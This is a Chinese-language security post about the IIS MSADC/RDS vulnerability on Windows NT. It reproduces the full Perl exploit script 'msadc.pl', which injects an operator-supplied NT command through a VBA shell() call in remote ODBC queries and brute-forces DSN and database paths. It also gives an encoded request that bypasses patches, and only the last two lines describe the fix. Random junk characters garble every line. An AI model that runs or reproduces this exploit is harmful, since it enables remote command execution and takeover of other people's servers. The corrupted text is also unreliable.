IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
9MI9$s2y ~G=E
Q]a 涉及程序:
w8 UUeF Microsoft NT server
,3-^EfccW .<fdX()e, 描述:
(=c,b9cb 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
/hVwrt( r1vS~
4Z 详细:
M?}:N_9<J 如果你没有时间读详细内容的话,就删除:
]63!
Wc c:\Program Files\Common Files\System\Msadc\msadcs.dll
tk h
*su 有关的安全问题就没有了。
< Mu`,Kv* :X-S&SX0 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
EH M 59s|B z6d0Y$A G 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
_Ds,91<muQ 关于利用ODBC远程漏洞的描述,请参看:
&)||~ R'>@ja* http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm m||9,z- >35w"a7S 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
, u%V% http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8c9<kGm$E ]sVWQj 这里不再论述。
f#GMJ mCQs 4~FRE)8 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
v_/<f&r nIfAG^?|* /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
,t wB" * 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
(F.w?f4B3 r`EjD}2d g:y4C6b #将下面这段保存为txt文件,然后: "perl -x 文件名"
~UO}PI`C tAJ}36aG #!perl
]plp.f#av #
[v*q%Mi_ # MSADC/RDS 'usage' (aka exploit) script
G?XA",AC #
M
| "'`zc # by rain.forest.puppy
W #
?vAhDD5 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
es#6/ # beta test and find errors!
[Eu)~J* ZxT
E(BQv use Socket; use Getopt::Std;
>,3 uu}s getopts("e:vd:h:XR", \%args);
h\3-8m DQXcf*R print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Xz)F-C27h N_iy4W(NU if (!defined $args{h} && !defined $args{R}) {
.43cI( print qq~
dz+Dk6"R Usage: msadc.pl -h <host> { -d <delay> -X -v }
Jkbeh. -h <host> = host you want to scan (ip or domain)
e_KfnPY
-d <seconds> = delay between calls, default 1 second
kI@<H< -X = dump Index Server path table, if available
2Zuo).2a. -v = verbose
rEj[XK -e = external dictionary file for step 5
@d 7V@F0d \'Et)uD* Or a -R will resume a command session
'xkl|P>=], +BL4 6Bq ~; exit;}
$S?gQN.e _ ~\} fY $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
; xp-MK if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
/(5"c> if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
_Q
I!UQdW if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
v7./u4S|V $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
A7+ZY, if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
.yXqa"p [yQ%g;m if (!defined $args{R}){ $ret = &has_msadc;
MSvZ3[5Io die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Q35\wQ# ]T]{VB print "Please type the NT commandline you want to run (cmd /c assumed):\n"
fpo{`;&F . "cmd /c ";
0: hv6Ge^ $in=<STDIN>; chomp $in;
`}=R
$command="cmd /c " . $in ;
o&%v"#H2 mi Q*enZi if (defined $args{R}) {&load; exit;}
c6 mS =r ^_D= print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
o68i0aFW &try_btcustmr;
+@3+WD F.$z7ee@ print "\nStep 2: Trying to make our own DSN...";
mWaij]1> &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
T&]-p:mg^ &U]/SFY print "\nStep 3: Trying known DSNs...";
#d\&6'O &known_dsn;
T*C25l;w ;Hk3y+&]a print "\nStep 4: Trying known .mdbs...";
>iOf3I-ATt &known_mdb;
'_.qhsS qD>^aEd@4 if (defined $args{e}){
~CnnN[g(_ print "\nStep 5: Trying dictionary of DSN names...";
?cRF;!o" &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
0!dNW,NfJ #'s$6gT= print "Sorry Charley...maybe next time?\n";
TxG@#" ^g} exit;
66eJp-5e8 $Xlr@)% ##############################################################################
U; oXX +8//mrL_/ sub sendraw { # ripped and modded from whisker
G'/GDN^j sleep($delay); # it's a DoS on the server! At least on mine...
lF}@@e)N my ($pstr)=@_;
z fSE7i0 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*2a" 2o die("Socket problems\n");
d[3me{Rs if(connect(S,pack "SnA4x8",2,80,$target)){
o1(;"5MM select(S); $|=1;
e*}zl>f print $pstr; my @in=<S>;
%[*-aA select(STDOUT); close(S);
Nz`8)Le return @in;
T"Y#u } else { die("Can't connect...\n"); }}
R'c dEoy +S(# 7 ##############################################################################
:V+rC]0 :;eOhZ=_ sub make_header { # make the HTTP request
m6e(Xk,) my $msadc=<<EOT
%;:![?M
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
# atq7tX User-Agent: ACTIVEDATA
2T2<I/")O Host: $ip
pwfQqPC#_ Content-Length: $clen
$GRw k>N Connection: Keep-Alive
2Cp4aTGv# L1RD`qXu. ADCClientVersion:01.06
s|<n7 =J Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
)m7%cyfC i;%G Z8 --!ADM!ROX!YOUR!WORLD!
vf3) T;X> Content-Type: application/x-varg
uZn_*_J! Content-Length: $reqlen
ZzE( S G^d3$7 EOT
8` +=~S ; $msadc=~s/\n/\r\n/g;
qLLrR,: return $msadc;}
/Kli C\ D*- ##############################################################################
|"LHo
H g]&fyB# sub make_req { # make the RDS request
6Z#Nh@!+C my ($switch, $p1, $p2)=@_;
2K>1,[ C'Z my $req=""; my $t1, $t2, $query, $dsn;
RM_%u=jC ;?HP/dZLz if ($switch==1){ # this is the btcustmr.mdb query
}cMkh $query="Select * from Customers where City=" . make_shell();
J8Wits]A]$ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
G;cC!x< $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
G$Mf(S'f FA,n> elsif ($switch==2){ # this is general make table query
xbCR4upS $query="create table AZZ (B int, C varchar(10))";
x@43ZH_ $dsn="$p1";}
p}pRf@(`\ UeFJ5n'x: elsif ($switch==3){ # this is general exploit table query
Y }VJ4!%U $query="select * from AZZ where C=" . make_shell();
}F{s\qUt $dsn="$p1";}
H3$py|}lL O
MQ?*^eA elsif ($switch==4){ # attempt to hork file info from index server
yrEh5v: $query="select path from scope()";
7 w,D2T $dsn="Provider=MSIDXS;";}
Nxt:U{`T' }6a}8EyFP elsif ($switch==5){ # bad query
"v?F4&\ 8 $query="select";
:u9'ZHkZ $dsn="$p1";}
nQV0I"f]?] Vc5>I_ $t1= make_unicode($query);
W6>t!1oO+ $t2= make_unicode($dsn);
[r"Oi|
8I $req = "\x02\x00\x03\x00";
T=YVG@fm? $req.= "\x08\x00" . pack ("S1", length($t1));
fmK~? $req.= "\x00\x00" . $t1 ;
O'98OH+u $req.= "\x08\x00" . pack ("S1", length($t2));
E'4Psx9: = $req.= "\x00\x00" . $t2 ;
eef&ZL6g $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
(
y!o return $req;}
39O rY vW eg1 ##############################################################################
mmJnE 0^S$_L sub make_shell { # this makes the shell() statement
}kQ{T:q4 return "'|shell(\"$command\")|'";}
=$4I}2 %C`P7&8m=O ##############################################################################
j"6|$Ze8 :y7K3:d3 sub make_unicode { # quick little function to convert to unicode
0fX` >-X my ($in)=@_; my $out;
cdkEK for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
kP$E+L return $out;}
"9'3mmZm=? _D}3`` ##############################################################################
"XxmiK (" :Dz_ sub rdo_success { # checks for RDO return success (this is kludge)
xz0t8`NoN my (@in) = @_; my $base=content_start(@in);
KwHN c\\ if($in[$base]=~/multipart\/mixed/){
Tk[]l7R~ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
KF#^MEw% return 0;}
wi+Qlf U9T}iI ##############################################################################
U&6A)SW,k U -OD sub make_dsn { # this makes a DSN for us
&,<,!j)Jr my @drives=("c","d","e","f");
YK{J"Kof print "\nMaking DSN: ";
>3D1:0Sg foreach $drive (@drives) {
ZqrS]i@$ print "$drive: ";
6bUP]^d my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
_+9i "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
@2.
:fK . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
zAM9%W2v_ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
#tA9`! return 0 if $2 eq "404"; # not found/doesn't exist
n\D/WLv M if($2 eq "200") {
I,#E`) foreach $line (@results) {
@&m]:GR return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
?bM%#x{e } return 0;}
HdtGyh6X0 Czw]5 ##############################################################################
Hy:x.'i `q]' ^EzJ sub verify_exists {
Z<>gx m< my ($page)=@_;
8K9HFT@yV my @results=sendraw("GET $page HTTP/1.0\n\n");
^A&{g.0 return $results[0];}
RQWUO^&e^ jt}oq%Bf ##############################################################################
5'f_~>1Wt } 'xGip@W sub try_btcustmr {
p/_W*0/i my @drives=("c","d","e","f");
Txo{6nd/ my @dirs=("winnt","winnt35","winnt351","win","windows");
A4(L47^ <-N eusx% foreach $dir (@dirs) {
`:Wyw<^ print "$dir -> "; # fun status so you can see progress
vcy1itY foreach $drive (@drives) {
ESoqmCJjb: print "$drive: "; # ditto
X sJ`x $reqlen=length( make_req(1,$drive,$dir) ) - 28;
:T$}@& - $reqlenlen=length( "$reqlen" );
h(nE)j $clen= 206 + $reqlenlen + $reqlen;
%P1zb7:8 z^gz kXx7 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Mz$qe if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
q*R~gEi#yk else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Mfz(%F|< o/,%rA4 ##############################################################################
a9lYX*: +Q_xY>ej sub odbc_error {
Rq| 5%;1 my (@in)=@_; my $base;
sCy.i/y my $base = content_start(@in);
EhO\N\p(Q= if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
pvt/{ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
IuPDr % $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Vt zSM%= $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
rA<J^dX=C return $in[$base+4].$in[$base+5].$in[$base+6];}
zB y%$5~Fw print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
`,pBOh|' print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
(.oDxs()I $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
~qb?#IY]` 4ybOK~z ##############################################################################
uq:'`o-1 >Gg[J=7` sub verbose {
(1{OQ0N+x my ($in)=@_;
<5]_u: return if !$verbose;
K'e!BZm6Q print STDOUT "\n$in\n";}
RToX[R;1E 3S^Qo9S ##############################################################################
25, [<Ao ND9;%<80 sub save {
`,GFiTPd my ($p1, $p2, $p3, $p4)=@_;
N]c:8dOj open(OUT, ">rds.save") || print "Problem saving parameters...\n";
?\Y7]_]/ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
QKz2ONV=) close OUT;}
Jl"DMUy[kW ,h3,&, ##############################################################################
%u|Qh/?7 QBoX3w= sub load {
g5Hsz,x my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
z9#jXC#OdN open(IN,"<rds.save") || die("Couldn't open rds.save\n");
2(D&jL @p=<IN>; close(IN);
9D%~~~
%b $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
nzYFa J + $target= inet_aton($ip) || die("inet_aton problems");
a~tBg y+9 print "Resuming to $ip ...";
1nLFtiki $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Y u^ } if($p[1]==1) {
)^^}!U#|e $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
@D<Q'7mLh $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
f;ycQc@f my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
8>:2li if (rdo_success(@results)){print "Success!\n";}
B T{({3 else { print "failed\n"; verbose(odbc_error(@results));}}
z#&qWO elsif ($p[1]==3){
Sag\wKV8 if(run_query("$p[3]")){
gD fVY%[Z print "Success!\n";} else { print "failed\n"; }}
`Sj8<O} elsif ($p[1]==4){
w@f_TG"Vt if(run_query($drvst . "$p[3]")){
%^E>~ print "Success!\n"; } else { print "failed\n"; }}
aR;Q^YJ+a exit;}
~RE`@/wQ] &9g#Vq% ##############################################################################
8c$IsvJg %nc+VL4 sub create_table {
` }Hnj* my ($in)=@_;
55N/[{[ $reqlen=length( make_req(2,$in,"") ) - 28;
DFjkp;`1 $reqlenlen=length( "$reqlen" );
~GY;{ $clen= 206 + $reqlenlen + $reqlen;
I3aEg my @results=sendraw(make_header() . make_req(2,$in,""));
n#]G!7 return 1 if rdo_success(@results);
'XQv> J my $temp= odbc_error(@results); verbose($temp);
RMrt4:-DI return 1 if $temp=~/Table 'AZZ' already exists/;
eaiz
w@N return 0;}
QU4'x4YS &k{@:z ##############################################################################
n:!J3pR 4Y/!V[ sub known_dsn {
$fvUb_n # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
&
='uAw my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
rC*n Z* "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
*AN#D?X_ "banner", "banners", "ads", "ADCDemo", "ADCTest");
kI;^V XKK*RVs# foreach $dSn (@dsns) {
},L[bDOV07 print ".";
]V]o%onW next if (!is_access("DSN=$dSn"));
2I4P":q if(create_table("DSN=$dSn")){
MR6vr.~ print "$dSn successful\n";
p.IfJ| if(run_query("DSN=$dSn")){
";. 3+z print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
J8D-a! print "Something's borked. Use verbose next time\n";}}} print "\n";}
ozo8 Tr *ZEs5`x ##############################################################################
^b.J z} gy[uqm_ T sub is_access {
*Ee# x!O my ($in)=@_;
7I
$reqlen=length( make_req(5,$in,"") ) - 28;
U\z+{]<< $reqlenlen=length( "$reqlen" );
{gn[
&\ $clen= 206 + $reqlenlen + $reqlen;
pL-$Np] V my @results=sendraw(make_header() . make_req(5,$in,""));
MG@19R2s my $temp= odbc_error(@results);
*\>2DUu\` verbose($temp); return 1 if ($temp=~/Microsoft Access/);
J{ Vl2P?@ return 0;}
3IxT2@H) U#P#YpD;== ##############################################################################
'huLv(Uu ~}11 6K sub run_query {
HTG;'$H^ my ($in)=@_;
tpD?-`9o $reqlen=length( make_req(3,$in,"") ) - 28;
EKf4f^< $reqlenlen=length( "$reqlen" );
rG]Xgq" $clen= 206 + $reqlenlen + $reqlen;
re*/JkDq3K my @results=sendraw(make_header() . make_req(3,$in,""));
'$VR_N\ return 1 if rdo_success(@results);
xl^'U/ my $temp= odbc_error(@results); verbose($temp);
A.FI] K@ return 0;}
7$;$4.' (!(bysi9 ##############################################################################
]gW J, A0ToX) |C sub known_mdb {
'9gI=/29D my @drives=("c","d","e","f","g");
:KLD~k7yA( my @dirs=("winnt","winnt35","winnt351","win","windows");
+9J>'oe'D my $dir, $drive, $mdb;
%ab79RS]C my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
kes'q8k Ah`dt8t # this is sparse, because I don't know of many
-Me\nu8(RF my @sysmdbs=( "\\catroot\\icatalog.mdb",
=.c"&,c?L "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
:Eyv= = "\\system32\\certmdb.mdb",
c"ztrKQQ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
2cg z
n@ 'Ot[q^,KRG my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
bRK9Qt#3 "\\cfusion\\cfapps\\forums\\forums_.mdb",
}t'^Au`X "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
cw.7YiU "\\cfusion\\cfapps\\security\\realm_.mdb",
cIp h$@ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
]N_^{k, "\\cfusion\\database\\cfexamples.mdb",
}TW=eu~ "\\cfusion\\database\\cfsnippets.mdb",
ihrrmlN? "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
h'p0V@!N "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
[\1l4C "\\cfusion\\brighttiger\\database\\cleam.mdb",
eZi<C}z "\\cfusion\\database\\smpolicy.mdb",
~~,<+X: "\\cfusion\\database\cypress.mdb",
X;:xGZ-oY "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
-huZnDN "\\website\\cgi-win\\dbsample.mdb",
sBnPS[Oo "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
<*(R+to^d "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
lv*uXg.k^ ); #these are just
P;&p[[7 foreach $drive (@drives) {
~*Qpv&y) foreach $dir (@dirs){
nif'l/@" foreach $mdb (@sysmdbs) {
zQ}N
mlk print ".";
9K<a}QJP if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
@/L. BfTz print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
w.p'Dpw if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
0pa^O$?p print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
|81N/]EER } else { print "Something's borked. Use verbose next time\n"; }}}}}
ycD.:w p\' ,&]`
b#Rc foreach $drive (@drives) {
5Suc#0y foreach $mdb (@mdbs) {
yW?%c#9D print ".";
,
% jTXb if(create_table($drv . $drive . $dir . $mdb)){
lG>e6[Wc print "\n" . $drive . $dir . $mdb . " successful\n";
%0]b5u if(run_query($drv . $drive . $dir . $mdb)){
8T
)ELhTj print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
zqr%7U } else { print "Something's borked. Use verbose next time\n"; }}}}
XF$]KAL0 }
:-" jKw '<S:|$$ ##############################################################################
v=1S iGVb.=) sub hork_idx {
^l&4UnLlc print "\nAttempting to dump Index Server tables...\n";
+N:6wZ7<f print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
]},Q`n>$ $reqlen=length( make_req(4,"","") ) - 28;
[Vp2!" $reqlenlen=length( "$reqlen" );
<L/vNP $clen= 206 + $reqlenlen + $reqlen;
f?zK" my @results=sendraw2(make_header() . make_req(4,"",""));
FKnQwX.0 if (rdo_success(@results)){
~{Rt4o _W my $max=@results; my $c; my %d;
P Xn>x8z for($c=19; $c<$max; $c++){
iiB )/~!O $results[$c]=~s/\x00//g;
]G~N+\8]U $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
ikG9l&n $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
)60f $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
PG[O?l $d{"$1$2"}="";}
,xe@G)a foreach $c (keys %d){ print "$c\n"; }
C|IQM4 } else {print "Index server doesn't seem to be installed.\n"; }}
X3L[y\ "|r^l ##############################################################################
Hs-.83V uNZ>oP> sub dsn_dict {
qs1.@l(" open(IN, "<$args{e}") || die("Can't open external dictionary\n");
A+1]Ql)$ while(<IN>){
To{G#QEgG $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
`e'o~oSu next if (!is_access("DSN=$dSn"));
n.6
0$kR` if(create_table("DSN=$dSn")){
uQtk|)T E print "$dSn successful\n";
5QFXj)hR+4 if(run_query("DSN=$dSn")){
1L=Qg4 H print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
o7a6 )2JK print "Something's borked. Use verbose next time\n";}}}
`NWgETf^# print "\n"; close(IN);}
HZ<f( %OTA5 ##############################################################################
o- QG&
] W*rU,F|9 sub sendraw2 { # ripped and modded from whisker
5v>{Z0TE[6 sleep($delay); # it's a DoS on the server! At least on mine...
ZR-s{2sl my ($pstr)=@_;
iraRB~ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
eo*u(@ die("Socket problems\n");
e]*=sp!T if(connect(S,pack "SnA4x8",2,80,$target)){
PVS<QN% print "Connected. Getting data";
'UvS3]bSYW open(OUT,">raw.out"); my @in;
+x9"#0|k; select(S); $|=1; print $pstr;
:CkR4J!m3 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
&A9A#It close(OUT); select(STDOUT); close(S); return @in;
Gz[ymj)5 } else { die("Can't connect...\n"); }}
T^%n!t Y9@dZw%2 ##############################################################################
rv%ye
H
'=Kof1 sub content_start { # this will take in the server headers
VkTlPmr my (@in)=@_; my $c;
VM]GYz|#] for ($c=1;$c<500;$c++) {
2htA7V*dD if($in[$c] =~/^\x0d\x0a/){
R<lNk< if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Ub'%pU else { return $c+1; }}}
\Ul.K!b7 return -1;} # it should never get here actually
T$8@2[ eb.cq"C ##############################################################################
%7(kP}y* xf^<ec sub funky {
zOiY0`= my (@in)=@_; my $error=odbc_error(@in);
?lc[hH if($error=~/ADO could not find the specified provider/){
e\A(#l@g print "\nServer returned an ADO miscofiguration message\nAborting.\n";
b,rH&+2H exit;}
:<N6i/ if($error=~/A Handler is required/){
orB8Q\p' print "\nServer has custom handler filters (they most likely are patched)\n";
WBw
M;S#% exit;}
_Vo)<--+I if($error=~/specified Handler has denied Access/){
%CxEZPe$ print "\nServer has custom handler filters (they most likely are patched)\n";
?}=-eJ(7e exit;}}
Q_QKm0! S7UZGGjTk ##############################################################################
YH'$_,8peM TDAWI_83- sub has_msadc {
dcl.wD0~V my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
X/E7o92\ my $base=content_start(@results);
M q^|M~ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
^zaKO'KcV return 0;}
Zp7yaz3y ^nHB1"OCV ########################
pK6e/eC /B,:<&_- $Wr\[P: 解决方案:
e}'#Xv 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
IU Y> ih 2、移除web 目录: /msadc